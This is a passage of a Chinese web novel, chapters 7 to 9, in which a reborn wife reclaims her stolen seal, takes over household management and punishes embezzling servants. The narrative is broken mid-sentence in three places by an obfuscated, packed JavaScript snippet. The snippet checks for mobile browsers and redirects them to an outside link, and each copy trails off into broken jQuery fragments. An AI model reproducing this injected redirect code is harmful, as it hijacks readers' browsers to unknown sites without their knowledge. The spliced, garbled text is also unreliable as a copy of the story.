罗氏兀自气了会儿,盯着桌上的东西,忽然问,“揽月阁呢,那边吃什么,我这儿就得有什么!” 管事再次语塞,“大、大奶奶那边……一向都是自掏腰包,想吃什么自己做。” 三年来一向如此,只不过从前大奶奶会包揽全府的吃穿用度,如今不愿意做这冤大头罢了。 罗氏再次深呼吸,好让自己平静下来,犹豫再三,她咬着牙从袖兜里取出半块对牌,并一枚小巧的碧玺印章。 “东市几家铺子颇有收成,这些年的进账都让我放在四方钱庄里了,你拿着对牌还有这枚私印,先从账上支取五百两。” 在场几人睁大了眼睛,管事有些心惊地说,“这……这些,都是大奶奶的陪嫁铺子,挣的钱也该是大奶奶的,要取银子,是否也得知会大奶奶?” 更何况,五百两可不是小数目。 “蠢货!” 罗氏冲过去打了管事妈妈一巴掌,“那贱妇嫁到李家,她的钱就是李家的钱,就是我的钱!听明白了吗?” 若非逼不得已,罗氏也不愿动用钱庄里的东西,对她来说,那些钱大有用处,能帮她挣更多的钱。 思及此,罗氏阴狠的三角眼里划过一抹厉色。 管事妈妈捂着红肿的半边脸,颤抖着接过对牌印章。 罗氏不放心,“素素,你同她一道去,省的出了岔子,另外,拿了钱,你自个儿再去置办些像样的头面回来,议亲的事不能耽搁了。” 李素素听到是取钱,立时兴奋地跳起来,抱着罗氏的胳膊撒娇,“谢谢娘!还是娘最疼我!” 是啊,好歹她和娘手里还攥着这么多钱,这么多铺子,即便嫁不出去,有娘在,她也饿不死,真是犯蠢了,前些天还与娘生了嫌隙。 李素素抢过管事手里的东西,兴冲冲往外走去,管事妈妈只能亦步亦趋跟在后头,只是两人刚要迈出琼华堂的院门,忽地顿住了脚步,开始惊恐往后退。 只见琼华堂门口,赵清仪领着两个丫头站在前方,身后,居然有二三十个膀大腰圆的壮汉,这可比前几日来的粗使还要吓人。 赵清仪的眸光不着痕迹掠过李素素捧在怀里的对牌私印,红唇微扬,“小姑这般匆匆忙忙,有事?” 7. 第 7 章 说话间,二三十个壮汉闯入院中,里里外外围了起来,再看向赵清仪,李素素便觉压迫感十足。 “嫂、嫂嫂……” 罗氏忙不迭跑到门口叫唤,“干什么干什么?这是女眷所在,我素素还是尚未出阁的黄花大闺女,你们这些人还不快退出去!” 她想把李素素护在身后,两个壮汉胸脯一挺,杵在门口,罗氏便不敢动弹。 许是心虚,见了赵清仪,李素素不由咽了口唾沫,想趁无人在意时把对牌印章藏到身后。 赵清仪几步走到她跟前,径直从她手里夺走了,对牌她认得,是四方钱庄的,至于印章,通体碧玺雕刻,触手冰凉。 她翻开一看,底下用小篆刻着她的名字,果然是她丢失三年的私印。 三年里,罗氏就是用她的名义,背着她将她陪嫁铺子的收成尽数转移到四方钱庄,如今,也算物归原主了。 赵清仪在罗氏与李素素惊骇的目光中,将东西收了起来,她等的就是罗氏缺钱了主动拿出私印,再来抓个人赃并获,省去她报官折腾或私下翻找。 “你个贱妇……” 罗氏作势要冲出来和她拼了,那可是她的命啊! 然而几十人围成的肉墙,她一个老太婆如何也闯不过去。 赵清仪把玩着手里的私印,语气温和,“婆母说这三年来铺子收成不好,处处亏损,可我的陪嫁过去都是京中个顶个的风水宝铺,说是日进斗金也不为过,如今落在婆母手中却颗粒无收,这也足以证明婆母不善经营,更撑不起李家的门楣,依儿媳看,往后陪嫁铺子与这李家掌家权,还是交给儿媳更为妥当。” “做你的春秋大梦去!” 罗氏挂在两个壮汉的胳膊上,甩胳膊蹬腿,面目狰狞,“便是我死了,掌家权也不可能交给你!” “儿媳知道,婆母不喜欢我,但这不要紧。” 赵清仪笑意盈盈,“儿媳只问婆母一句,过去三年里,婆母打着为儿子仕途铺路为由,没少在京中交际应酬,花出去的银子如同流水,可结果呢?” “李家寒微,婆母又无诰命在身,哪家权贵愿与您结交?婆母费劲心思也无济于事,不过是浪费钱财罢了,而夫君最后能够调任回京,还不是得靠家父在朝中的人脉关系。” “倘若婆母是真心实意替儿子谋划,就该清楚,由我这个赵氏女掌家,才是对李家最好的选择,不是吗?” 过去赵清仪顾及婆母脸面尊严,向来忍气吞声,如今一口气将心里话说出来,看着罗氏五颜六色的面容,总算是浅出了一口闷气。 “如今这私印物归原主,儿媳便不同婆母计较,婆母若要闹,还是掂量掂量此事捅到官府,你,该当何罪?” 赵清仪柔柔一笑,提醒她,“诏狱的九尾鞭是何滋味,婆母难道忘了?” 罗氏打了个寒颤,瞬间偃旗息鼓,她指着赵清仪,“你……你个毒妇!上回我在诏狱受了刑,定也是你指使的!” 说什么花钱把她弄出来,根本就是花钱贿赂了锦衣卫,好让他们来折磨自己! 就在罗氏痛恨之时,一道修长身影匆忙赶来,他走到琼华堂门口,见到庭院里的架势,脚步一顿。 “李衡?”罗氏第一个发现他,萎颓的心瞬间火热起来,“你来得正好!快把这些粗人赶出去!” 赵清仪下意识侧身朝后看去,便对上一双略显惊诧的狭长黑眸。 来人身姿挺拔,穿着一件磨白的淡青直裰,相貌与李彻有五六分相似,正是李家最不起眼的庶子,李彻的弟弟李衡。 前世三十六年的人生虽不长,但赵清仪对此人几乎没了印象。 许是赵清仪迫切想要回忆起什么,眸光便在对方身上多停留了片刻。 仅这片刻,李衡红了脸,他朝院中的人作揖行礼,低垂的眸子藏着一丝诡异的兴奋。 “李衡……见过嫂嫂,见过母亲。” 几乎是他话音落下的瞬间,赵清仪想起来了,她的丈夫李彻还有个很是低调内敛的庶出弟弟,二人年龄仅差三岁,如今的李衡已然及冠,并取得秀才资格,正准备今年秋闱应试。 罗氏不喜这个庶子,对其不闻不问,李衡无人照应帮衬,这个年纪能中秀才实属不易。 罗氏还欲叫唤,喊他过来帮忙,可当她敏锐捕捉到李衡看见赵清仪时,脸上一闪而过的慌乱羞怯,便清楚这小子一颗心早就飞了。 好啊,赵氏女不愧是灾星狐媚子,嫁给她的彻儿不够,还要勾搭小叔! 就在罗氏将要破口大骂时,李衡接过了话茬,他冲堵在门口的壮汉颔首,随即步入院中,冲罗氏行礼,“母亲,儿子来是有要事。” “狗屁的要事……”罗氏扑过去就要挠他。 李衡灵巧避开半步,飞快说,“母亲冷静!是大哥!” 罗氏一愣,恢复了一丝理智,她目光狐疑地上下打量他。 “儿今日在府学意外听得一些消息,陛下突然对大哥调任一事提出异议,内阁似乎……似乎有意换了大哥翰林院编修一职。” 罗氏脚下一个踉跄,差点栽倒,她难以置信,半晌才讷讷的问,“你、你说什么?” 李衡蹙着眉解释,“前几日,母亲和妹妹刚从诏狱回来,京中流言便甚嚣尘上,儿子有几位同窗,又恰巧听见母亲说的气话,此事便在文人当中传开,渐渐传到了宫里……” 世人皆道当今陛下开明,生性豁达,不拘小节,按理陛下不至于听了些流言,便让内阁下此决断。 可问题出在哪里,李衡一时也想不通。 罗氏听罢,只觉天都塌了,什么嫁妆,什么私印掌家权,都不如她儿子仕途来得要紧,更何况,那是陛下的主意,这便意味着她的儿尚未回京,便在流言中失了圣心。 难道是因为上回她被锦衣卫抓进诏狱,才连累了儿子名声? 罗氏悔得肠子都青了,头一回意识到流言于仕途中人而言,真是猛于虎的存在。 早知道…… 早知道会闹成这样,她当初索性就不同那赵氏争执了。 对,都是那赵氏!是那贱妇丧门星! 罗氏一双眼睛死死瞪着院门口的赵清仪,像是要在她身上瞪出几个窟窿来。 李素素也听见了李衡的话,她红着眼眶跑过去,指着对方鼻子质问,“是不是你,是不是你在府学说了什么不该说的话?刻意抹黑哥哥!” 李衡是庶子,生母早亡,一直在罗氏的压迫下苟且偷生,面对李素素的指责,他只低头,“……我没有。” “没有怎会这样?” 李素素伸手就去推他,“一定就是你!就是你!你就是嫉妒我哥哥!” 眼看局面一发不可收拾,赵清仪难得来了闲心在旁看戏,横竖她的目的已经达到,私印也拿了回来,她乐意见这一家鸡飞狗跳,挥挥手示意其他人先退下。 琼华堂里很快只剩李家人,唯有赵清仪的存在与这李家格格不入,而她的存在太过强烈,强烈到无法令李衡无视她。 他知道,赵清仪在看他。 一直低头忍受罗氏母女责怪的李衡,突然抬起了头直面李素素,一双黑眸沉沉,晦暗难明。 “闹够了吗?”他嗓音陡然变冷,与先前恭顺内敛,甚至有些窝囊的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625642|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样判若两人。 罗氏与李素素皆是一愣,未料到他竟有如此反应。 李衡后退一步,将李素素推搡时扯歪的衣领整理好,面色冷淡地说,“我已有功名在身,不是任人欺.辱的丧家犬。” 今年秋闱,他一定高中,往后莫说这对母女,甚至他所谓的兄长李彻,都得敬他三分。 “兄长调任之事或有变动,想必兄长很快也会听到风声,儿子已向府学告了假,明日便南下先去接应兄长。” 李衡说完,敷衍地拱了拱手,离开琼华堂将要掠过赵清仪身旁时,他匆忙的脚步缓了下来。 按礼数,李衡虽有功名却无官身,而赵清仪是正儿八经的官家夫人,见了面,他是不能抬头直视的。 却偏偏在一个不经意间,李衡抬头对上了那双没什么情绪的漂亮眸子,他忽然又红了脸,略显局促的朝赵清仪施礼。 “嫂嫂。” 兴许是因为他带来了“好消息”,赵清仪难得对一个李家人露出笑容,但也仅此而已。 没成想李衡脖子都红了,眼神几经闪烁,终于不敢再看,匆忙离去。 赵清仪很快收回目光,并未多想,最后瞥了院中的罗氏母女,也转身回揽月阁了。 路上倒是纳闷,当今陛下为何会突然对区区一个即将上任的翰林编修上心? 想到这位陛下,一些久远到陌生的记忆渐渐涌入脑海。 当今陛下楚元河十三岁登基,改国号定西,好战杀生,无往不利,年少便驰骋沙场,十九岁平定西北,待及冠之年才重回上京,然而也仅仅在上京停留半月,便再一次赶赴边关,至今也快三年了。 说起这位少年皇帝,文武百官对其感受只有一句神龙见首不见尾,朝中真正见过这位帝王真面目的,恐怕只寥寥几位内阁元老,他不在时,便由这几位阁老暂管朝政。 再后来,西北蛮子,南疆部落,皆对大梁俯首称臣,楚元河无仗可打便回到上京,安安稳稳坐他的皇帝,而前世赵清仪距离这位皇帝陛下最近的一次,恐怕就是即将诰命加身,入宫谢恩,只可惜,没等到那一日她就猝然病倒,又活生生气死了。 可即便有两世记忆,赵清仪依然对这位不拘一格,性情乖张的皇帝陛下所知甚少,不过,她虽不了解皇帝,却知道前世李彻入翰林一事并未出过岔子。 怎么这一世却出了意外,难道,是因为她重生后的所作所为?还是,孟家散布的流言已经上达天听,才让内阁有此决定? 赵清仪很快又否决了这个想法。 她虽借助孟家表哥之力,刻意散播关于李家的谣言,但朝廷被几位阁老把持,以内阁沉稳的行事风格而言,总要先见到李彻这个人再下定论。 赵清仪想不通,索性不想了,无论问题出在哪里,李彻仕途受阻,于她而都是好事,至少短时间内,罗氏与李素素投鼠忌器,不敢到她院里闹事。 回到揽月阁,赵清仪仔细检查过私印,将其好生收纳后,便派檀月去取府中的对牌钥匙,以及她入府后三年的所有账册。 罗氏受了打击,老实许多,交出对牌钥匙后,冷眼瞧着仆妇把成堆的账册搬去揽月阁,在檀月离开时,忍不住问,“我彻儿仕途受阻,是不是你家奶奶干的好事?” 檀月福了福身,“老太太多虑,我家奶奶何德何能,几句话便叫上头人改了主意?” 是啊,几句话的事。 当初赵清仪走动关系,几句话让李彻有了调任回京的机会,如今,又是轻飘飘几句话,断送她儿子的翰林路。 罗氏的关注点明显偏了,她嘴角耷拉,瘦长刻薄的脸阴沉沉的。 8. 第 8 章 檀月懒得多话,揣着成串的对牌钥匙回去复命,几个婢子则搬着几摞的账册跟在后头。 罗氏心里只一个念头,赵清仪嫁过来后就没管过家,她倒要看看,没有自己帮衬,这赵清仪能否管得住下人。 殊不知上辈子,赵清仪就是掌管中馈的一把手,若没有她稳住内宅,光靠罗氏这个目光短浅的东西,李彻又哪来的仕途无忧? 账册刚到赵清仪手上,她随意翻看几页便察觉出问题,账目做得乱七八糟不提,甚至还有做假账的,或是同一笔开销,重复支取银两,而底下人每回虚报账目,罗氏都不懂装懂,胡乱允了,久而久之,府里竟无一不是在糊弄罗氏。 不仅如此,她陪嫁的铺子收益一日不如一日,赵清仪拨弄算盘稍稍估算了下,就发现这三年里,铺子收益拢共减了四成,开支却远超规定,上头所列名目,不是送去岭南补贴李彻,就是花在罗氏的应酬交际上——所谓的替儿子打点仕途。 其次便是罗氏与李素素的每月花销,以李彻的俸禄在算,即便他自己不吃不喝,罗氏母女每月也仅有四五两银可用,然而账上这对母女每月能花上几十两,逢年过节甚至可达上百两,一年光她们个人在衣裳首饰,胭脂水粉上的开支就有七八百两银。 再加上先前送给李彻的补贴,以及维持一府运转譬如修葺宅院、仆役月钱、衣食开支,还有年节给下人的打赏等等,小小李府,一年竟要花出近二千两白银,比京中四五品大员家中维持体面所需的开销还要夸张。 要知道上京官员普遍开销只在八百到一千两之间,哪怕是赵清仪自己的父亲,三品大员,与母亲弟弟落脚的官邸,一年支出堪堪五百两。 即便外祖世代皇商,财力雄厚,赵清仪都不得不感叹罗氏败家的能力,而这些钱,居然全从她的嫁妆里出! 实在可恨。 赵清仪只能庆幸自己如今夺回了掌家权,否则还不知要浪费她多少银钱,罗氏这般谋她钱财,和她害她性命有何区别? 赵清仪努力平复心情,两个婢子则将账册分门别类,外头铺子的先放一边,当务之急先核查内宅中的账目,之后用朱笔将账上有问题的地方圈出来,待核对完,已是翌日清晨了。 赵清仪几乎一宿没合眼,吃了盏茶醒醒神,府中丫鬟婢子都到了,就差各位管事,可左等右等,竟是等到了晌午,几人才姗姗来迟。 李家不大,内宅琐事由一位管事协助罗妈妈共同打理,其余两位便是分管京中的铺子的罗大罗二,都是罗氏娘家亲戚,如今四人都到了揽月阁,冲八角亭里的当家主母福身行礼。 赵清仪不紧不慢吃着茶,一手摇着檀木缂丝团扇,通体贵气,却架不住这张脸只有十八九岁,此前又未曾管过家,底下四人模样恭敬,心里却是不屑的,罗大罗二更是偷眼觑着主座上的人。 他们都是在外头跑事的粗人,平日在宅子里见过最多的也就罗氏母女,哪里见过这般塞天仙的人物。 俏月心生不悦,拧眉一呵,“再敢贼眉鼠眼地打量咱们奶奶,小心挖了你的眼珠子!” 罗大罗二当即低头,忙道“不敢”。 赵清仪却不恼,一盏茶吃得悠闲自在,吃罢又尝了几块糕点,自始至终没有喊他们起来的意思,四人只能顶着头顶烈日,半福着身,脑门上很快滑下豆大的汗珠。 就在其中一人坚持不住跪摔在地时,赵清仪才用丝帕清理嘴角,抬眸扫了过去,“一早顾不上用膳,便在此等候诸位过来请安,没想到诸位贵人事忙,我方才用了盏茶,劳几位久等了,你们不会介意吧?” 语气柔柔的,却也冷冷的。 管事妈妈率先抹了把汗,“大奶奶哪里话,是奴婢该死,来迟了,如今等等,都是应该的。” “最近府里发生的事,想必诸位有所耳闻,该知道我是什么样的性子,从前婆母管家,你们是何规矩我不管,如今换了我,一切就得按我的规矩来,往后每日卯时二刻须到我院中请安,将前一日的琐事汇总汇报,迟来一刻,罚一两月钱,可记住了?” 赵清仪拂手示意檀月搬了一把椅子送到管事妈妈身后,管事妈妈千恩万谢,小心翼翼坐了下来,其余三人见此情形,也忙不迭冲赵清仪告罪。 只是赵清仪没理会,随意翻开一本账册道,“昨夜我已将府中三年来的账册过目一遍,发现李家二三十号人,开支花销却堪比上百奴仆的大宅。” “过去是有我的嫁妆支撑,你们肆意挥霍,往后全凭大爷那点俸禄,可得省着点花,今日召诸位前来,便是要与你们商议如何减少府中开支。” 此话一出,四人面面相觑。 “大奶奶说的是。” 罗妈妈率先笑着点头,抬眼看向赵清仪时又话锋一转,“只是,大爷将来是要入翰林的,各院份例若是少了有失体面,岂不让大爷面上无光?” 做妻子的,哪个不顾及丈夫颜面? 罗妈妈料定赵清仪不敢。 赵清仪却低头失笑,“罗妈妈莫不是做过官家太太,何谓有失体面?何谓面上无光?不如你教我?” 罗妈妈一噎。 “莫说大爷如今能否入翰林是一回事,即便做成了翰林编修,一年不过四五十两俸银,家中又无产业铺面,哪来的银子开销?” 赵清仪站起身走到凉亭的石阶前,居高临下睥睨着,“难道,你要大爷继续用妻子的嫁妆来维持体面?传扬出去,岂不让大爷遭同僚耻笑?” 她微微俯身,挑起罗妈妈的下颌,“还是,你想让人觉得,大爷背地里做了什么见不得人的勾当?” 罗妈妈浑身一颤,扑通跪地,“大奶奶明鉴!老奴绝无此意,只是大奶奶此前从未管过家,老奴担心……” “你是什么东西,也敢置喙大奶奶?” 俏月只要想到这些年,罗氏与这帮刁奴算计自家奶奶这么多钱,她就咽不下这口气,过去反手便是一记耳光,打得罗妈妈脑中嗡嗡。 赵清仪美眸冷沉,“莫以为你们被婆母提上来,管过几年家,就以为懂了这京中官宦人家的生存之道。” 她清楚这帮小人,越是和颜悦色,越蹬鼻子上脸,所以从一开始,她就要将这些人踩下去,这个家,只能她赵清仪说了算。 “自己睁眼看看,做得乱七八糟,哪一点像管事之人做出来的账?” 赵清仪抽出一本账册,直接甩到罗妈妈脸上,罗妈妈先挨了一耳光,如今又被砸了脸,疼得说不出话来。 “这些年来,你们仗着婆母不懂,便如此糊弄于她,尤其是你罗妈妈,婆母如此信任你,你却辜负她的信任,账做得乱也就罢了,府中采买一应由你负责,这采买的价格逐年上涨,实际买回来的却还是那些东西,你说说这三年里,你从中贪了多少银子!” 罗妈妈忙不迭磕头喊冤,“大奶奶冤枉啊!这账上每一笔支出都是经过老太太同意签字的!况且相同的东西,每年价格不同也属正常,大奶奶久居深闺……” “你们这帮刁奴,就是不见棺材不掉泪。” 赵清仪不想听这老婆子废话,又拿出一本薄薄的账册,丢在罗妈妈跟前,“这是檀月今早核查过的市价,再看看你们账上记的数目,一左一右,差价竟翻了整整一倍。” 罗妈妈还嘴硬,“大奶奶有所不知,老太太与姑奶奶嘴刁,寻常东西入不得她们的眼,即便是相同的东西,也有高下之分,老奴向来都是买最好的,这价格自然不同。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625643|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 罗妈妈就赌赵清仪没有证据。 檀月在旁听得眉头直皱,“罗妈妈贵人多忘事,我们这儿还有从琼华堂小厨房搬来的粮油米面,你买的究竟什么货色,奴婢一清二楚。” 罗妈妈深吸口气,她怎么忘了这茬? 不等她想好措辞解释,赵清仪又翻出一本账册,指着其中一条,“府中几个院子的小厨房,日日备的东西相同,琼华堂有的,小叔的翠竹轩也有,可这燕窝牛乳虽好,小叔一个男子却是不吃的。” “还有厨房账上记着金齑玉脍,这道菜是生鱼脍,再以金箔点缀,我记得婆母与小姑只食过一次,鱼虽鲜美,她们却觉食之无味,并不喜欢,平日再不见此菜上桌,可为何厨房却日日都记上这笔账?” “大奶奶真是冤枉了!” 罗妈妈跪在地上哭,“这主子可以不吃,厨房却不能缺了,万一哪日主子们想吃,厨房若没有,咱们做奴婢的少不得被发落,况且这鱼脍日日都要换新鲜的……” 赵清仪看着她哭,挑眉问,“鱼脍日日都要新鲜的,难道金箔也会发烂发臭,需要每日一换?” 罗妈妈哭声戛然而止。 “还有,这府里没什么是不能缺了的。” 赵清仪轻摇团扇,在几人面前来回踱步,行走间,藕荷色的裙裾荡漾,腰间禁步却没发出半点声响,一举一动,皆是高门贵女的架势气派。 “从今往后各院小厨房的采买并入揽月阁,主子想吃什么,要用什么,提前拟好单子呈上来,我允批后自会吩咐人按照单子采买,避免浪费虚耗,也省的个别人借着采买的由头中饱私囊。” 她的话就差没点名道姓了,罗妈妈羞得一张老脸臊红。 “过去的烂账我不追究,但若再有人胆敢在我的眼皮底下欺主贪墨,一律扭送官府,要杀要打,听天由命。” 最后八个字吓得满院仆婢跪地磕头。 只有端坐的管事妈妈颤声问,“那、那二爷院里,也要如此办吗?” “当然。”赵清仪一视同仁,“二爷今科举在前,读书所用的笔墨纸张不能少,但每日的燕窝牛乳,以及固定的五两酒钱就不必了,二爷从不饮酒,余下的和琼华堂一样,需要什么,拟好单子呈上来。” 有翠竹轩的婆子从后头出列,跪在赵清仪跟前,“大奶奶,二爷院中的开支本就不多,若再减只怕惹得二爷不快。” “我不过是减了些他不需要的,你们就先替主子鸣不平了。” 赵清仪垂眸,继续翻看手中账册,“怎么,这些东西,难道都是进了你们肚子?我减的,是你们的开支?” 那婆子登时无话可说,只绞着衣袖暗暗咬牙。 二爷是庶出,本就不得罗氏器重,院里一向拮据,她们这些跟着伺候的婆子就靠小厨房那点油水。 赵清仪自然也看出那婆子的不满,笑道,“你也不必生气,翠竹轩是没什么油水,委屈你了,檀月,取她的身契来。” 李家没有钱财存养仆婢,这些人当初被罗氏招进府里,所需花销都是从她这儿出的,身契自然也都捏在她手里。 赵清仪把那婆子的身契还回去,“还请你另谋高就。” 婆子再不敢抱怨,面色讪讪,“大奶奶,老奴不是这个意思……” 算起来,她是罗氏远房亲戚,好不容易才在府里谋份差事,要是走了,凭她这一把年纪是再难找到这般轻松的活计了。 约莫是嫌她聒噪了,赵清仪移开视线,立时有两个粗使上前架起那婆子就往外走。 婆子叫喊声撕心裂肺,引得路过的李衡不由侧目,那婆子见了他,就像见了救世主,哇的一声痛哭。 “二爷,救命啊!” 9. 第 9 章 “二爷救命啊!大奶奶要克扣您院中份例,老奴实在看不下去才出言驳了两句,大奶奶便要将老奴发卖,老奴也是看着您长大,求求二爷发发慈悲!”那婆子张口便污蔑赵清仪。 李衡只是路过,一时听愣了,下意识朝八角亭的方向看去。 赵清仪并未回头,还在与管事逐条对账,这会儿日头正盛,她一袭耀目的霞纱裙立在亭中,每走一步,如烟似雾,飘逸若仙,露出的半张侧颜艳若牡丹。 先前面对面时李衡不敢多看,如今隔着距离,倒是瞧得有些痴了,直到俏月叉腰挡住赵清仪的身影,正怒瞪在他跟前胡说八道的婆子。 李衡猛地回过神来,忖了忖,抬脚朝八角亭走去。 正是人多的时候,李衡出现不算逾矩,他在台阶下朝赵清仪作揖,“嫂嫂。” “你有事?”赵清仪撩起眼皮,带着一丝漫不经心的美。 那一眼扫来,李衡仿佛听到了自己擂鼓般的心跳声,他浑身紧绷,略显局促地说,“没、没什么事,只是听婆子哭诉,便想问问,嫂嫂管家,可是遇到了什么难处?” 婆子还以为他是来自己出头了,闻言一愣,又要哭,“二爷……” 赵清仪瞥了婆子一眼,“谈不上难处,只是减了你院中不必要的开支,这婆子便上蹿下跳叫嚣个不停,既然小叔来了,正好当面对质,敢问小叔,这三年来,你可曾在自个儿院中见过燕窝牛乳,亦或是任何酒水?” 李衡摇头,“不曾。”目光一瞬不瞬地落在赵清仪脸上。 毒辣的日头下,她细如凝脂的面皮泛着绯色,更添三分娇媚,可她的神态举止却与这副祸水皮囊截然相反。 她语气冷然,“那便成了,日日报账,主子却从未见过,足以证明这婆子欺上瞒下,贪墨银两,如今还抵死不认,俏月,让人把这婆子捆了,重打二十大板,送到衙门去。” 先礼后兵,赵清仪给过机会,让她走不走,那就去衙门里待着好了。 婆子终于意识到,这个府里没人会替她说话,而赵清仪又是个杀伐果决之人,忙不迭哭天抢地的求饶。 “大奶奶饶命,大奶奶饶命啊!” 至此,赵清仪最后一点耐心消耗殆尽,“拖下去!打!” 粗使把那婆子拖出院外,紧接着就是木杖击打臀肉的声音,伴随着凄厉哭嚎传到每个人耳中,院里下人噤若寒蝉。 赵清仪拍着案上摞得高高的账册,“给你们一个坦白从宽的机会,多拿的吐出来,我便既往不咎,若等我查出来,你们就一起去官府,同官老爷解释吧。” 此话一出,加上先前赵清仪指出的问题,没人敢再小瞧糊弄她,已经有婆子站出来认错,檀月俏月捧着账册一一核对,凡是坦白者都留了下来,至于那些嘴硬心黑的,贪墨数额过大的,一律捆了扭送官府,由官府裁夺。 至于内宅总管之权,赵清仪交给了檀月,由管事妈妈协助,重定采买流程,差事轮流经手,月末公开对账,并承诺揭发贪墨者有赏,以此肃清家风,并敲定了各院开支,包括每个人的月例银子,日常用度,务必确保账目清晰,至于超出规制的仆婢一律遣散。 待琐事处理完了,已近傍晚,乌金西坠。 赵清仪吃完最后一盏茶,才发现李衡还在院中,他竟是顶着烈日站了半日,出了一身的汗,便示意檀月给他递了张帕子。 对上赵清仪的目光,李衡似乎才反应过来,接过帕子擦拭额汗,没话找话的说,“嫂嫂治家有方,在下佩服。” 赵清仪略略勾起嘴角。 李衡难以招架这种沉默,他攥着帕子,喉头微动,“过去……嫂嫂也曾这般帮过我,一直没来得及道谢。” 院里下人欺主算什么,当初若不是赵清仪嫁过来时,提起他读书的事,只怕他如今还被罗氏打压着,连去府学的机会都没有,更没可能参加科举,在众人面前扬眉吐气。 赵清仪于他,是再造之恩。 当年…… 当年若没有兄长,如今要履行婚约迎娶嫂嫂的,就会是他了吧? 李衡越想越失神。 而赵清仪显然不会记得这些小事,“时辰不早了,我先回房了,小叔请自便。” 她走得毫不迟疑,很快,空气里只剩她走时带起的淡淡清香。 李衡望着她背影消失的地方,攥着帕子的手一点点收紧。 回到翠竹轩,李衡打开卧房的矮柜,从里头取出一只云纹乌木匣子,将赵清仪给他的那方手帕仔细叠好,小心翼翼存放其中,这乌木匣子是他生母留给他的遗物,里头存放的都是他自认为珍贵的东西。 过去匣子里只有生母的遗物,如今,却多了这一方帕子。 李衡静默良久,门外响起小厮的敲门声,“二爷,老太太让咱们尽快启程,去接应大爷回府。” “知道了。”李衡依依不舍合上匣子,将东西重新放回矮柜里锁了起来。 赵清仪对此并不知情,眼下要紧的事一大堆,忙都忙不过来,就譬如眼下,还有一笔烂账。 赵清仪沐浴过后,披着外衣坐在案前,手指抚过上头记录的一笔账目,这是罗氏个人的账,许是交接管家权时,下人送账册不慎将这本混了进来,一并送到揽月阁。 上面有一笔生丝进账,每月不定额,从几十两到几百两都有,且每月递增,而赵清仪将陪嫁铺子的账册全都过了一遍,并未发现哪个铺子有做生丝生意。 那罗氏这笔进账,来得实在蹊跷,只怕是巧立名目,从别的地方收钱了。 而罗氏名下没有铺面,能收钱的地方,无非是两条路,利用李彻的仕途收受好处,或是……干脆在民间放印子钱。 罗氏若真有胆子干这事,无疑是在自掘坟墓,届时整个李家都会受她牵连,若到了那一步,她与李彻和离也是水到渠成。 赵清仪不动声色地挑起眉梢,另外用一只上了锁的匣子,将那本账册收好。 刚收完,管事妈妈便来请示。 “大奶奶,奴婢遵循朝中规制,将老太太和姑奶奶身边贴身仆婢从原先的三人减至一人,粗使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625644|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从各六人减至三人,如今一人只配四个仆婢,其余皆已遣散,至于二爷房里,向来就一名贴身小厮和一个书童,奴婢便没动二爷院里的人,再加上大奶奶您院里六人,再算奴婢一个,府中一共十七名仆婢,大奶奶觉得这样可否?” “做得很好。” 赵清仪对识时务之人向来好说话,譬如眼前的管事,过去罗氏掌家,她便效忠罗氏,如今换了自己掌家,她便晓得该听谁的吩咐行事,至少说明,是个聪明的。 “往后要时刻督促婆母与小姑院里,所有人皆得遵守尊卑礼法,用膳次序,衣着打扮皆有规定,与其他官宦或商贾来往,需得报备于我,由我来处理请帖回礼等事宜,不得僭越,明白了吗?” 这是要彻底断了罗氏与外人的私交,往后府里,可真就赵清仪一人独大了。 管事妈妈心中了然,福身应是。 “今日记你一功,到了月底,自去账上领赏钱。” 管事妈妈喜笑颜开,又吹捧了主母几句这才退下。 赵清仪在檀月俏月的侍奉下卸了钗环,正要吹灯就寝,李素素便气冲冲闯进院中,被粗使婆子拦在门口,“嫂嫂,你这样是不是太过分了?” “每日粗茶淡饭便算了,如今我和娘的院里加起来就八个可使唤的,你还要削减我和娘的开支,一个月就四五两银哪里够用?” 赵清仪整肃内务劳累一日,已经乏累了,便没起身出去,只坐在妆奁前说,“小姑也别动怒,一切都是按照规定来,为何旁人府上的女眷能过,你就过不得?” “规矩是死的,人是活的!” 李素素厌烦了规矩,过去怎么不见赵清仪是这般守礼节的人? 赵清仪点头表示认同,“小姑说的不错,人是活的,夫君每月俸禄就这么点,婆母与小姑还是量入为出的好。” “可是你有这么多钱!” 李素素不知是不是被气昏了头,径直说出了心里话,待她察觉到院中下人惊诧的目光时,为时已晚。 赵清仪正拆下最后一支金簪,闻言动作一顿,随后“啪”的一声将金簪拍在桌上,起身走到门口,眸光平静。 